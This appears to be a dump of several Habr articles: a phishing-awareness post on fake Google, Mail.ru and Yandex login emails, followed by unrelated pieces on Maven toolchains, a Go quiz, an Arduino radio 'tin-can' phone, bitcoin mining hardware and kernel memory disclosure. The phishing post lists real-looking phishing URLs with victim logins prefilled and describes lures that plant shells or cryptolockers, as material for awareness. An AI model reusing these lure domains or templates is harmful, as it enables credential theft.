Ссылка редиректит на домен [account-google.ru.com/ServicesLogin/files/?account=privethabr&?service=mail&passive=true&rm=false&continue=https](http://account-google.ru.com/ServicesLogin/files/?account=privethabr&?service=mail&passive=true&rm=false&continue=https)://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2&emr=1
Первая форма, на которой стоит новый логотип.
Mail.ru — рабочие моменты
-------------------------
Похож на способ указанный выше, прислали какие-то документы, вариаций может быть довольно много:
Клик по ссылке и пользователю предлагают ввести пароль. Т.к. логин уже подставлен — большинство рядовых пользователей введет свой пароль «на автомате»:
Mail.ru — сообщение не доставлено
---------------------------------
Вам не пришло важное письмо, но наш сервис уведомил Вас об этом, включая какие-то непонятные заголовки сообщения для пущей достоверности:
А там уже знакомая нам форма:
Mail.ru — увеличить объем ящика
-------------------------------
Еще один лидер моего хит-парада правдоподобности:
При переходе попадаем на форму увеличения объема ящика:
Еще один тип такого письма:
По ссылке видим форму:
Похож на способ указанный выше, но фишинговый домен уже не работает:
Ссылка не работает: [cew-mail.ru/mailcapacity/index.php?email=privethabr@mail.ru&fail=0&GPXZJmV5cWVzEuccGRmyPXZWVzc2FnZScPXZJmV5cEyMTQ0MDAwuccWVzGRmyWVzPXZGRmyPXZWVzc2FnZS8xMzY0MTEMDAwMWVzDU4NS8](http://cew-mail.ru/mailcapacity/index.php?email=privethabr@mail.ru&fail=0&GPXZJmV5cWVzEuccGRmyPXZWVzc2FnZScPXZJmV5cEyMTQ0MDAwuccWVzGRmyWVzPXZGRmyPXZWVzc2FnZS8xMzY0MTEMDAwMWVzDU4NS8)
Mail.ru — уведомление о безопасности
------------------------------------
Вашу почту кто-то взломал, срочно бегите менять пароль:
Фишинговая ссылка редиректит на [pechatay-prosto.ru/js/?Login=privethabr@mail.ru](http://pechatay-prosto.ru/js/?Login=privethabr@mail.ru) (уже не работает).
Yandex — уведомление о безопасности
-----------------------------------
Не подтвердите аккаунт — заблокируем почту:
По ссылке форма, с уже подставленным именем учетной записи:
Yandex — реактивация почтового ящика
------------------------------------
Опять необходимо выполнить какие-то действия:
Добавлено много «правдоподобных» деталей:
Рассылка вредоносных файлов/криптолокеров
-----------------------------------------
Пользуясь текущей экономической обстановкой и страхами людей злоумышленники рассылают письма, имитирующие уведомления от платежных систем и органов судебной или исполнительной власти:
Письмо, содержащее инструкции для «подтверждения» доменного имени от Роскомнадзора (на самом деле пользователь установит на свой сайт шелл):
Письмо из арбитражного суда, содержащее ссылку на криптолокер:
Письмо из Сбербанка о выданном кредите (со ссылкой на криптолокер):
Правила безопасности
--------------------
1. Письмо, побуждающее Вас к каким-то немедленным действиям должно Вас насторожить: проверьте от кого оно пришло, домен и ссылку. Если сомневаетесь — спросите специалистов.
2. Если Вам что-то навязывают или присылают то, к чему Вы не имеете отношения — лучше удалить это письмо.
3. Не переходите по подозрительным ссылкам в письме, даже если они пришли в сообщениях от ваших знакомых или с каких-то официальных адресов.
4. Письма от судебных инстанций или органов: не поленитесь, найдите телефон этого ведомства и позвоните. Просто так никто судебные решения или уведомления о просроченных кредитах не высылает. Да и в 99% случаев Вы получите уведомление по обычной почте.
5. Используйте двухфакторную авторизацию: большинство почтовых сервисов в настоящее время поддерживает эту технологию. | https://habr.com/ru/post/271123/ | null | ru | null |
# Введение в Maven Toolchain
Java развивается гораздо быстрее, чем раньше. Но не все проекты, над которыми мы работаем, поспевают за этим темпом.
У меня есть проекты на Java 8, 11 и 17, и иногда я хочу поиграть с имеющимися сборками более новых версий.
Как обеспечить их создание без необходимости постоянно переключать среды выполнения Java?
### Переключение версий Java
Переключение версий Java в командной строке [не должно быть трудным](https://maarten.mulders.it/2017/02/quickly-switch-java-versions-on-macos/).
В моем случае это так же просто, как набрать `j8`, `j11`, `j17`.
Но делать это каждый раз, когда вы видите сообщение «версия 17 не поддерживается», немного утомительно. Что еще более важно, это не решает основную причину проблемы.
Так в чем *же* причина, спросите вы?
Основная причина здесь в том, что по умолчанию [подключаемый модуль компилятора Maven](https://maven.apache.org/plugins/maven-compiler-plugin/) будет использовать компилятор Java, поставляемый со средой выполнения Java, в которой работает Maven.
Вы можете увидеть, какой именно, выполнив команду `mvn -version`:
```
$ mvn -version
Apache Maven 4.0.0-alpha-1-SNAPSHOT (9e19b57c720d226b0b30992535819f700a665d14)
Maven home: /usr/local/Cellar/maven-snapshot/4.0.0-alpha-1-SNAPSHOT_117/libexec
Java version: 11.0.10, vendor: AdoptOpenJDK, runtime: /Library/Java/JavaVirtualMachines/adoptopenjdk-11.jdk/Contents/Home
Default locale: en_GB, platform encoding: UTF-8
OS name: "mac os x", version: "10.15.7", arch: "x86_64", family: "mac"
```
В этом примере Maven использует Java 11 Development Kit.
Но в моем проекте, чтобы задать для параметра компилятора `-release` значение **17**, я установил соответствующее свойство `maven.compiler.release` в Maven Compiler Plugin.
Чтобы использовать версии Java ниже 9, вы должны установить два свойства: `maven.compiler.source` и `maven.compiler.target`.
Компилятор из Java 11 Development Kit, очевидно, не знает, как компилировать на Java 17, поэтому мы видим сообщение «релиз версии 17 не поддерживается».
### Toolchain спешит на помощь!
К счастью, решение есть в нашем распоряжении. На самом деле, руководство [«Компиляция исходников с использованием другого JDK»](https://maven.apache.org/plugins/maven-compiler-plugin/examples/compile-using-different-jdk.html) Maven Compiler Plugin начинается с него:
> **Предпочтительным способом использования другого JDK является использование механизма toolchain.**
>
>
Так что же такое toolchain? В том же руководстве, несколькими строками позже, резюмируется:
> **Toolchain** **—** **это способ централизованно указать путь к JDK, который будет использоваться для всех плагинов, независимо от того, на каком запущен сам Maven.**
>
>
Последняя часть этого предложения очень важна, поэтому позвольте мне еще раз подчеркнуть: цепочка инструментов не **зависит от той, в которой работает сам Maven**.
Итак, как мы это используем?
Во-первых, мы используем цель (goal) **toolchain** [Apache Maven Toolchains Plugin](https://maven.apache.org/plugins/maven-toolchains-plugin/), чтобы проверить, могут ли требования цепочки инструментов для проекта быть удовлетворены с помощью настроенных цепочек инструментов:
```
org.apache.maven.plugins
maven-toolchains-plugin
3.0.0
17
toolchain
```
Фрагмент выше говорит: мы указываем, что проекту нужна toolchain типа JDK с версией 17. Если мы попытаемся снова собрать проект, сборка все равно не удастся, но сообщение будет другим:
```
[INFO] --- maven-toolchains-plugin:3.0.0:toolchain (default) @ sample-project ---
[INFO] Required toolchain: jdk [ version='17' ]
[ERROR] No toolchain found for type jdk
[ERROR] Cannot find matching toolchain definitions for the following toolchain types:
jdk [ version='17' ]
```
Это ясное сообщение: Maven не может собрать этот проект, так как не установлен JDK toolchain версии 17. Что ж, он есть, но мы не сказали Maven, где его найти.
### Определение Toolchain
Мы можем сделать это с помощью [Toolchain Configuration](https://maven.apache.org/ref/3.6.3/maven-core/toolchains.html), который находится в **~/.m2/toolchains.xml**.
Чтобы декларировать JDK 17 toolchain, которая имеется на моей машине, я должен написать:
```
xml version="1.0" encoding="UTF8"?
jdk
17
/Library/Java/JavaVirtualMachines/adoptopenjdk-17.jdk/Contents/Home
```
Как видите, этот файл содержит полный путь установки Java.
Это делает файл специфичным для машины, на которой он хранится. Вот почему он находится в каталоге **.m2** для локального пользователя и почему этот файл не может быть частью системы управления версиями исходного кода проекта. Каждому, кто работает в команде, потребуется собственная копия файла, адаптированная по мере необходимости для правильных путей. Сюда также входят серверы сборки, на которых будет собираться проект!
### Популярность наборов инструментов
Около десяти месяцев назад я [опросил в Твиттере](https://twitter.com/mthmulders/status/1367754038826201089), знают ли люди об этой функции и используют ли они ее.
Хотя отклик был не очень большим, интересно взглянуть на результаты:
1. Примерно половина людей не знает о существовании Toolchain.
2. Примерно треть людей, знакомых с Toolchain, не используют его.
Как это может быть? Toolchain похожа на мощную функцию. Даже те, кто знаком с Toolchains, не всегда им пользуются.
Я думаю, частично это объясняется тем, что сам Maven написан на Java.
Представьте, если бы Maven был написан на другом языке. В этом случае вам всегда нужно было бы указывать, где найти Java Development Kit, поскольку Maven не знал бы об этом автоматически.
Но теперь, когда Maven работает на JVM, он уже знает одну JVM, которую может использовать. Возможно, это не лучший вариант для текущего проекта, но, по крайней мере, он есть, и он попытается его использовать.
### Что дальше?
Мы уже видели, что подключаемый модуль компилятора Maven понимает концепцию цепочек инструментов (Toolchain) и знает, как ее использовать.
Но это не единственный плагин, который может принести пользу.
Действительно, многие официальные плагины Maven понимают эту концепцию и используют цепочку инструментов при настройке. Сюда входят плагины Javadoc, JAR и Surefire, и это лишь некоторые из них.
Даже некоторые неофициальные плагины работают с цепочками инструментов, например, Protocol Buffer и плагин Keytool. Полный список находится в руководстве по использованию [Toolchains](http://maven.apache.org/guides/mini/guide-using-toolchains.html).
Помимо набора инструментов JDK, можно даже декларировать собственные цепочки инструментов.
Это выходит за рамки данной статьи, но если вам интересно, вы можете начать с [документации по плагину Toolchain](https://maven.apache.org/plugins/maven-toolchains-plugin/toolchains/custom.html). | https://habr.com/ru/post/647831/ | null | ru | null |
# Go Quiz
In this series, we will be discussing interesting aspects and corner cases of Golang. Some questions will be obvious, and some will require a closer look even from an experienced Go developer. These question will help to deeper the understanding of the programming language, and its underlying philosophy. Without much ado, let's start with the first part.
Value assignment
----------------
What value `y` will have at the end of the execution?
```
func main() {
var y int
for y, z := 1, 1; y < 10; y++ {
_ = y
_ = z
}
fmt.Println(y)
}
```
According to the specification, `for` loop creates its own scope. Therefore, we are dealing with two different scopes there: one inside the `main` function, and one inside the `for` loop. Therefore, we don't reassign `y` inside the `for` loop initialization, but instead creating new `y` that shadows the one from the outer scope. Therefore, the outer `y` is not affected, and the program will output `0`.
A part of a string
------------------
In this example, we have a string and would like to access a part of it. What would be the result of the following snippet?
```
s := "9"
v1 := s[0]
for _, v2 := range s {
fmt.Println(v1)
fmt.Println(v2)
fmt.Println(v1 == v2)
break // a single loop iteration
}
```
The first two print statement would output the same result. A string in Golang is an immutable array of bytes and every character is encoded in UTF-8. In this case, we are dealing with the ASCII-only string, therefore, character `9` will be encoded as a single byte with the value equal to `57`. Therefore, the first print statement would output `57`. Exactly the same value would be printed at the second line, as in this case, we will have rune `r` that consists of a single byte.
However, the program won't compile due to the third line, as we are dealing with different types: uint8 (under alias `byte`) and int32 (under alias `rune`). The numeric value of the variables is equal, but their types are different, therefore, they cannot be compared without the explicit type conversion.
Struct Conversion
-----------------
In this example, we have two similar structs that differ only in struct tags. Such an approach could be used in a real life. For example, you can have a separate representation of a single domain model in different packages: package `db` that is responsible for database persistence and package `api` that is responsible for handling the incoming requests. In this case, the structs would be equal save for the struct tags. What would be the result of the following code snippet? `#v` outputs the full Golang representation of the value, including the type of the struct and its field names.
```
type Struct1 struct {
A int `db:"a"`
}
type Struct2 struct {
A int `json:"a"`
}
func main() {
s1 := Struct1{A: 1}
s2 := Struct2(s1)
fmt.Printf("%#v", s2)
}
```
That's a tricky question because according to the Golang specification a struct tag is a part of the struct definition. Therefore, at some point, it wasn't possible to do the conversion. However, later the Go team decided to relax the constraint (without changing the definition of the struct in the spec), and now such conversion is permitted.
`main.Struct2{A:1}`
How about this snippet? We are trying to convert `Struct1` to `Struct2`. All information necessary for `Struct2` is available in `Struct1`. However, there is also a redundant field `B` in `Struct1`.
```
type Struct1 struct {
A int
B int
}
type Struct2 struct {
A int
}
func main() {
s1 := Struct1{}
s2 := Struct2(s1)
fmt.Printf("%#v", s2)
}
```
In this case, the specification does not care whether we have all the information to instantiate `Struct2` from `Struct1`. `Struct1` has an extra field, and that's the end of the deal: the operation is not permitted, and the code won't compile.
JSON Unmarshalling
------------------
Will the existing records in the map be preserved when we unmarshal JSON-encoded values into it? What happens in the case of a collision (note key `Field1`) ?
```
s := map[string]int{
"Field1": 1,
"Field2": 2,
}
data := `{"Field2": 202}`
err := json.Unmarshal([]byte(data), &s)
if err != nil {
panic(err)
}
fmt.Println(s)
```
Existing records in the map will be preserved. In the case of a collision, the value will be overwritten.
`map[Field1:1 Field2:202]`
What about structs?
```
type request struct {
Field1, Field2 int
}
r := request{Field1: 1, Field2: 2}
data := `{"Field2": 202}`
err := json.Unmarshal([]byte(data), &r)
if err != nil {
panic(err)
}
fmt.Println(r)
```
The same logic is valid here:
`{Field1:1 Field2:202}`
And that all the question for today :) How many right answers did you get out of four? | https://habr.com/ru/post/550786/ | null | en | null |
# Беспроводной телефон из консервных банок
### Новый подход к старой игрушке — беспроводной телефон из консервных банок берёт прошлогоднюю технологию и впихивает её в современность!
Буквально вчера я вёл серьёзный телефонный разговор, как вдруг мой бананофон перестал работать! Я очень расстроился. Ну, всё — я последний раз пропускаю звонок из-за этого дурацкого телефона! (Оглядываясь назад, стоит признать, что я в тот момент был, возможно, слишком сильно зол).
Пришло время обновлений. И вот он – новый беспроводной телефон из консервной банки! Новый, улучшенный псевдотелефон, подходящий для всех моих коммуникационных нужд!
Кроме шуток, проект реально рабочий. И вот, как я его сделал.
Инструменты и материалы
-----------------------
Для проекта вам потребуется довольно много электронных компонентов и парочка инструментов.
Инструменты:
* Дрель.
* Ножницы по металлу.
* Пистолет для термоклея.
* Круглогубцы.
* Молоток с круглым бойком.
Материалы (всё в двух экземплярах):
* [DFduino Uno R3](https://www.dfrobot.com/product-838.html)
* [Gravity IO Expansion Shield](https://www.dfrobot.com/product-1009.html) (не обязательно)
* [Аналоговый датчик звука](https://www.dfrobot.com/product-83.html?tracking=ea6eUFvpPiegPG6rfvXhMVr6OrGA9ONPycIUY6WUy2bvMCTmIlx2WlBpQB46t4co) (микрофон)
* [386AMP Audio Amplifier](https://www.dfrobot.com/product-165.html) (динамик)
* [Отсек для батареек 6AA Battery Holder](https://www.dfrobot.com/product-500.html) с круглым разъёмом DC Barrel Jack (и 6x батареек AA)
* [NRF24L01+PA+LNA](https://www.amazon.com/gp/product/B07PBBC4H9/) с антенной.
* [Нажимная кнопка](https://www.amazon.com/EG-STARTS-Standard-Buttons-Switch/dp/B01MR0E1T6/).
* Алюминиевая банка из-под кофе.
* [Соединительные провода](https://www.amazon.com/Elegoo-EL-CP-004-Multicolored-Breadboard-arduino/dp/B01EV70C78/).
Готовим банки
-------------
Перед подключением электроники нужно подготовить банки. Просверлим в них по два отверстия – одно для антенны, второе для кнопки.
Я начал с отверстия для антенны. Для начала я засунул антенную плату внутрь банки, чтобы измерить, на каком расстоянии от стенки должно находиться отверстие. Затем я разметил место под отверстие при помощи стираемого маркера, потому что хотел удалить его следы после работы. Затем метчиком я наметил место под будущее отверстие. Это поможет сверлить на следующем шаге.
Размер отверстия будет зависеть от используемой вами антенны. Я просто подобрал сверло по размеру, сравнивая его с размером резьбы, куда накручивается антенна.
У меня получилось 5,5 мм.
ОК, надеваем защитные очки!
---------------------------
Подобрав диаметр и разметив отверстие, просверлите его. Лучше делать это на высокой скорости, но сильно не давить. Жесть тонкая и имеет тенденцию к образованию заусенцев – осторожнее с острым металлом. Для зачистки края используйте ножницы по металлу и круглогубцы.
После этого можно приступать к отверстию для кнопки. С ним всё немного по-другому.
Я работаю с тем, что есть, поэтому решил попробовать снова сделать отверстие при помощи дрели и круглогубцев. Но гораздо удобнее было бы делать это при помощи сверла Форстнера. Вот, как я это сделал.
Сначала я открутил с кнопки пластиковую гайку. Потом я поместил гайку на то место, где мне нужно было сделать отверстие, и отметил её внутренний диаметр. Потом я просверлил пять отверстий и использовал ножницы для удаления материала и приведения отверстия к круглому виду.
После этого я при помощи молотка и круглогубцев забил края внутрь и загнул их – см. фото. Рекомендую использовать молоток с круглым бойком. Я использовал обычный, поскольку другого нет.
Теперь можно вкрутить антенну и кнопку. Остерегайтесь острых краёв металла!
Время термоклея
---------------
Пора вклеивать все компоненты. Сначала включите клеевой пистолет и дайте разогреться. Потом используйте клей, чтобы приклеить антенную плату к банке. Также советую покрыть клеем металлическую часть антенны, торчащую наружу, чтобы её не закоротило с банкой.
Рекомендую использовать как можно больше клея, чтобы ничто не коротило на банку. Если вы услышите треск или писк во время теста, вероятно, что-то контачит с банкой.
Приклейте Arduino Uno к донышку банки, а потом подсоедините батарейки. Это самая сложная часть – рекомендую нанести клей на края, а потом разместить так, чтобы антенна смотрела вверх, а батарейки были в противоположной части банки. Батарейки будут естественным центром тяжести.
Динамик я приклеил с одной стороны держателя батареек, а микрофон – с другой. Причины – эстетические соображения и желание аккуратно уложить провода.
Подключаем электронику
----------------------
Когда всё прочно приклеено, пора подключать провода. Соедините проводами компоненты по схеме. Ниже привожу список подключаемых контактов.
Антенная плата:
* MI -> MISO
* MO -> MOSI
* SCK -> SCK
* CE -> Pin 7
* CSE -> Pin 8
* GND -> GND
* 5V -> 5V
Комментарий: NRF24L01 – отличная штука, только уж очень чувствительна к питанию. Подключайте её только к 3,3 В – если не используете дополнительную плату, как я. К 5 В подключайте только с дополнительной платой, иначе спалите антенну.
Аналоговый звуковой датчик:
* Gravity Pins -> A0
Аудио усилитель:
* + (вход динамика) -> 9 или 10 (левый или правый канал)
* — (вход динамика) -> GND
* Gravity pins -> D0
Переключатель:
* NO -> A1
* COM -> GND
Краткое пояснение работы схемы.
Мы используем библиотеку [RF24Audio](https://tmrh20.github.io/RF24Audio/), поэтому микрофон, динамик, выключатель и антенну нужно подключать строго определённым образом:
* Сигнальный контакт микрофона всегда идёт на контакт A0.
* Переключатель (приём/передача) – на А1.
* Аудио усилитель включается куда угодно, главное, чтобы у него было питание. Кабель для передачи аудио нужно подключать к контактами 9 и 10.
* Контакты антенны CE и CSE подключаются только к контактам 7 и 8.
Закачиваем код
--------------
Благодаря [библиотеке RF24Audio](https://github.com/nRF24/RF24Audio) программа получается крайне простой. Буквально 10 строк кода. Взгляните:
```
//Include Libraries
#include
#include
#include
RF24 radio(7,8); // Радио использует контакты 7 (CE), 8 (CS).
RF24Audio rfAudio(radio,1); // Аудио использует радио, номер радио назначить 0.
void setup() { rfAudio.begin(); // Инициализировать библиотеку.
}
```
Чтобы закачать код, нужно установить Arduino IDE, скачать данный код и открыть его. Убедитесь, что в меню «инструменты» программатор установлен на AVR ISP, а плата – на Arduino UNO. Убедитесь, что вы выбрали правильный COM-порт.
Теперь соедините Arduino и компьютер USB-кабелем, и нажмите кнопку «загрузить» слева вверху. Код должен загрузиться и вы должны услышать негромкое жужжание.
Попробуйте нажать кнопку и прислушаться, изменилась ли высота жужжащего звука. Наверху платы IO Expansion HAT при этом должен потухнуть светодиод.
Если всё так, то программа работает и всё подсоединено правильно.
Испытания банок
---------------
Для проверки нужно включить обе банки. Зажмите кнопку на одной из банок и скажите что-нибудь в микрофон. Слышите ли вы звук из другой банки? Попробуйте проделать это с другой банкой.
Если звук проходит, то у вас всё получилось! Если у вас проблемы с помехами или вы слышите жужжание, проверьте на наличие проблем с заземлением. Могу порекомендовать обмотать антенну изоляционной лентой.
После этого испытайте дальность работы – если на пути сигнала ничего нет, он должен проходить на расстояние порядка километра!
Заключение
----------
Поздравляю, вы добрались до конца проекта! Отличная работа!
> См. также: «[Телефоны, которые создали историю дизайна](https://habr.com/ru/company/beeline/blog/504162/)» | https://habr.com/ru/post/507410/ | null | ru | null |
# Bitcoin: история развития, от CPU до FPGA
[(источник фото)](http://smeagle123.deviantart.com/art/I-dont-care-who-you-are-thats-funny-353282169)
[Ранее](http://habrahabr.ru/company/intel/blog/205524/) нами рассматривались основные принципы, которым следуют при майнинге биткоинов.
В этот раз рассмотрим историю развития вычислительных систем, предназначенных для добычи биткоинов, а также технологические достижения и трудности, которые встретились на этом пути.
#### CPU: Первое поколение майнеров
Если заглянуть в исходный код майнера биткоинов, то окажется, что он на удивление прост. Основная часть выглядит примерно следующим образом:
```
while (1)
{
HDR[kNoncePos]++;
IF (SHA256(SHA256(HDR)) < (65535 << 208)/ DIFFICULTY)
return;
}
```
Вычисление SHA256 выполняется над 512-битными блоками данных и включает в себя 64 раунда шифрования, требующих множества 32-битных сложений, сдвигов и битовых операций. Каждый последующий раунд шифрования зависит от результатов предыдущего, создавая цепочку зависимостей. Хотя выполнение отдельных раундов шифрования не может быть распараллелено, проверка каждого отдельного хэша может выполняться параллельно, что делает вычисления прекрасно поддающимися параллелизации.
Производительность таких майнеров достигает 33 MH/s на процессор (Core i7 990x). Больше добавить особенно нечего.
#### GPU: Второе поколение майнеров
В октябре 2010 был опубликован код первого open-source OpenCL майнера, после чего тот был быстро адаптирован и оптимизирован стараниями энтузиастов сообщества. Подобные майнеры состояли из реализации bitcoin-протокола на языке вроде Java или Python и алгоритма перебора в виде OpenCL-файла, который надлежало скомпилировать под ISA соответствующего GPU.
Огромное разнообразие OpenCL-реализаций объяснялось попытками выжать из компиляторов всё, на что те были способны, в погоне за улучшением качества кода. Кроме того, часть кода, не относящаяся к OpenCL напрямую, отвечала за вызов OpenCL API с целью перепроверки результатов или управления параметрами GPU в ответ на температурный режим и пользовательские настройки.
Поскольку предполагалось, что подобное оборудование будет работать месяцами, пользователи пускались во все тяжкие, играя с напряжением питания (понижая, чтобы снизить стоимость накладных расходов на майнинг, или повышая вместе с частотой, чтобы увеличить производительность), ядром GPU и такими параметрами кода, как число потоков. Всё ради того, чтобы увеличить пропускную способность в рамках разумной стабильности работы и температуры.
Т.к. добыча биткоинов не требует особой нагрузки на оперативную память или операций с плавающей точкой, большое число критических путей в электрической схеме или узких мест в архитектуре GPU никак себя не проявляют. Однако, с течением времени могла возникать потребность в перенастройке параметров, т.к. системы электропитания и охлаждения со временем деградируют в своих характеристиках.
Типовые GPU от AMD имеют тенденцию показывать большую производительность, чем GPU от NVidia, если речь идет о GH/s на $, отчасти благодаря системе команд, хорошо подходящей для вычислений SHA256, и архитектуре VLIW, которая содержит большее количество ALU, работающих параллельно, пусть и на слегка меньшей частоте. В частности, операции сдвига и битового выбора могут быть реализованы единственной инструкцией AMD ISA.
Встроенная графика, в частности от Intel, уже сейчас имеет лучшие показатели производительности на ватт, но для CPU характерны гораздо более скромные power-бюджеты — 200W, типичные для GPU, совершенно неприемлемы для CPU, который, вообще говоря, еще и не только графикой занят. Кроме того, к одному компьютеру не удастся подключить столько CPU, сколько можно было бы подключить видеокарт (про это дальше). Да и амортизация оборудования не настолько быстра для CPU. Поэтому встроенная графика — это не выбор майнера.
Основной код майнера, написанный на OpenCL, а не ассемблере или в машинных кодах, после компиляции нередко патчился с целью использования инструкций GPU, напрямую не поддерживаемых OpenCL.
Реализация на OpenCL представляет собой один большой блок кода, который в начале выбирает ряд параметров, на основе id потока, а затем выполняет все 64 раунда хэширования в одном развернутом цикле.
#### A Datacenter In My Garage
Потратив $300-600 на оборудование для майнинга на основе GPU, которое, практически буквально, печатает деньги, и потратив немало времени за настройкой его параметров, следующим шагом закономерно встаёт идея о наращивании ~~масштабов катастрофы~~ вычислительных мощностей.
Купив ещё один такой же GPU и повторив настройки, вы удвоите свою прибыль. На самом деле, если монетки добываются столь быстро и столь же стремительно растут в цене, возможно, имеет смысл купить десять или даже двадцать GPU! Правда, это может привести к катастрофе — из-за группового поведения майнеров, закупившихся видеокартами, до небес подскочит сложность добычи и так же стремительно упадет прибыльность майнинга. К счастью, катастрофы не произошло, благодаря росту курса USD/BTC затраты на покупку видеокарт всё же окупились.
GPU оказались гораздо более доступны для конечных пользователей, чем FPGA. Их использование для майнинга хоть и требует навыков сборки ПК и многочасового чтения форумов, но можно быть полным профаном в параллельном программировании, не говоря об инструментах для работы с FPGA. Однако для GPU характерно несколько ключевых ограничений:
1. GPU не работает сам по себе. Каждый GPU должен быть включен в 8x или 16x PCI-E разъем, которых на материнских платах сравнительно мало.
2. Материнская плата, процессор, жесткий диск и ОЗУ в GPU майнинге практически не используются, но удорожают систему, т.е. увеличивают стоимость майнинга на единицу производительности. У типичного пользователя под рукой есть единственный PC, куда можно установить 1-2 GPU, но не более того.
3. Каждый GPU потребляет 200-300W, что очень быстро превышает возможности блока питания и требует апгрейда.
4. Стандартные корпуса не рассчитаны на охлаждение нескольких GPU. Особенно, если «несколько» — это более двух.
5. Использование многих GPU быстро достигает пределов электроснабжения, охлаждения и уровня шума, допустимых в большинстве жилых районов.
6. Из-за каких-то проблем (вероятно, в программной части) реализации, для работы OpenCL может потребоваться, чтобы к GPU был подключен дисплей. Хотя сама технология подобных требований не выдвигает.
7. Типовой GPU занимает два слота в корпусе ПК, не давая подключить к ПК большое число видеокарт.
Для решения этих проблем появилось следующее решение. Во первых, т.к. майнинг биткоинов толком не использует пропускную способность интерфейса с материнской платой, то PCI-E 1x имеет достаточно пропускной способности, а GPU работает и подключенным в 1х слот. Простой кабель, продаваемый за $8, позволяет подключить 16x GPU в 1х слот. Правда это означает, что видеокарта не может находиться в корпусе ПК, что побудило энтузиастов к созданию стоек, предназначенных исключительно для монтажа GPU. Использование правильной материнской платы, с большим числом дешевых 1x слотов, решило проблему с подключением большого числа GPU. Отказ от привычного корпуса позволил решить проблему отвода тепла более эффективно. А резистор, воткнутый в DVI разъем, успешно имитирует подключение монитора, если таковое потребуется для OpenCL.
Используя такой подход, одна материнская плата, CPU, и RAM может обслуживать 5-6 GPU, тем самым повышая экономическую эффективность затеи.
*примеры того, как может выглядеть машина для добычи биткоинов на основе GPU* [(источник фото)](http://byvoid.github.io/slides/bitcoin-internals/display_card_miner.jpg)
Некоторые такие системы могут работать стабильно на протяжении нескольких месяцев, но затем начинают проявляться проблемы со стабильностью работы. Причина в том, что GPU потребляют слишком большой ток по линии 12V, перегружая коннектор материнской платы. Решением этой проблемы становится независимый подвод питания к видеокартам, минуя материнскую плату.
После решения проблем с подключением GPU на первый план выходят вопросы надлежащего электроснабжения и охлаждения оборудования. С потреблением одного GPU в районе 200W, удельная мощность такой системы сопоставима или даже превышает показатели дата-центров. Собственно, дата-центры практически никогда и не используются для размещения GPU-майнеров из-за сопутствующих расходов и требований к сертификации оборудования. Также немногие дома способны обеспечить такую электрическую мощность, а различные схемы тарификации электроснабжения могут привести к заоблачным счетам за электричество. По этим причинам на практике удачнее всего майнинг идет на территориях складских помещений, где нет больших проблем с создаваемым шумом и охлаждением, а электричество доступно по промышленным тарифам.
*Bitcoin-miner, содержащий 69 GPU* [(источник фото)](http://www.gearfuse.com/wp-content/uploads/2013/05/multi-gpu-mining-rig-500x373.jpg)
#### FPGA: Третье поколение майнеров
Июнь 2011 принес общественности первую open-source реализацию биткоин-майнера для FPGA. FPGA хороши как для операций сдвига, так и для битовых операций, составляющих ядро алгоритма майнинга. Интересным испытанием для разработчиков FPGA-майнеров стала разработка такого дизайна, который позволил бы эффективно использовать различные FPGA, как hi-end, так и low-end.
Решение оказалось весьма элегантным – майнер состоит из нескольких экземпляров SHA256-модуля, который параметризуется глубиной развертывания. С полным развертыванием, модуль создает отдельные аппаратные узлы для каждого из 64 раундов хэширования, разделенные регистрами – своего рода конвейер. Такая реализация позволяет достичь производительности 1хэш/такт/модуль. Меньшая глубина развертывания приводит к тому, что конвейер получается короче, и полное вычисление хэша требует нескольких проходов по его ступеням. Если FPGA достаточно велика, то в неё может уместиться несколько таких конвейеров. Выбор между глубиной развертывания и числом копий конвейера есть предмет для оптимизации.
Основной проблемой для FPGA-майнеров стало то, что их энергопотребление гораздо выше, чем для типичных случаев использования FPGA. Это объясняется практически постоянной активностью логических элементов в процессе вычислений. В результате большинство готовых плат с FPGA, таких как, например, обучающие наборы, легко доступные студентам, не могли предоставить ни достаточное питание ни достаточное охлаждение. Причем для hi-end микросхем проблема стояла в разы острее.
В результате появились специализированные платы, которые минимизировали расходы, отказавшись ото всей избыточной периферии (RAM, I/O, и т.д.), и которые конструировались с единственной целью – обеспечить необходимое питание и температурный режим для FPGA. Платы на основе FPGA Spartan XC6SLX150 позволили достигнуть производительности 860MH/s, при частоте 215 MHz, энергопотреблении 39W и стоимости $1060. Проприетарная разработка компании Butterfly Labs (BFL), расположенной в Канзасе, показала похожую производительность 830 MH/s при цене $599. Топовое решение от той же компании на основе FPGA Altera показало производительность 25.2 GH/s при цене $15K (650-750 MH/s на чип).
На настоящий момент BFL была и остается самой успешной коммерческой биткоин-компанией.
К сожалению, FPGA было трудно конкурировать с GPU – последние стоили на ~30% меньше и имели больший потенциал для перепродажи после завершения своего пути как майнера биткоинов. Не помогло и то, что GPU обгоняли FPGA на лестнице техпроцесса, нередко используя более современный и энергоэффективный техпроцесс. Тем не менее, основное преимущество FPGA заключается в почти пятикратном выигрыше энергопотребления, что делает их столь же привлекательными как и GPU, при условии эксплуатации в течение года или двух. В частности, наиболее продвинутые FPGA, например, [производимые](http://www.eetimes.com/document.asp?doc_id=1319919) Intel для Altera по новейшим 22нм и 14нм техпроцессам, оказываются крайне выгодными с точки зрения энергопотребления, но имеют сравнительно высокую цену.
*500GH/s майнер от BFL на основе ASIC, в окружении четырёх FPGA-майнеров на 25.2 GH/s. Можно заметить два кабеля электропитания – майнер потребляет ~2700W.* (источник фото: James Gibson)
Правление FPGA оказалось кратким, потому как на свет появилось новое поколение аппаратуры, ASIC, дающее выигрыш на порядки и в энергоэффективности и в производительности. Усилия на разработку FPGA не оказались напрасны, т.к. многое, от Verilog описания майнера и до компановки печатных плат было переиспользовано.
О поколении ASIC – четвертом поколении bitcoin-майнеров, шагнувшем в эпоху кремния, делаемого на заказ (Age of Bespoke Silicon) в следующий раз. | https://habr.com/ru/post/205530/ | null | ru | null |
# Раскрытие памяти (Memory Disclosure) ядра в современных ОС
Под катом расположен перевод **вступительной части** документа [Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking](https://j00ru.vexillium.org/papers/2018/bochspwn_reloaded.pdf) ([Статья Project Zero](https://googleprojectzero.blogspot.com/2018/06/detecting-kernel-memory-disclosure.html)) от [Mateusz Jurczyk](https://j00ru.vexillium.org/about/).
В переведенной части документа:
* специфика языка программирования C (в рамках проблемы раскрытия памяти)
* специфика работы ядер ОС Windows и Linux (в рамках проблемы раскрытия памяти)
* значимость раскрытия памяти ядра и влияние на безопасность ОС
* существующие методы и техники обнаружения и противодействия раскрытия памяти ядра
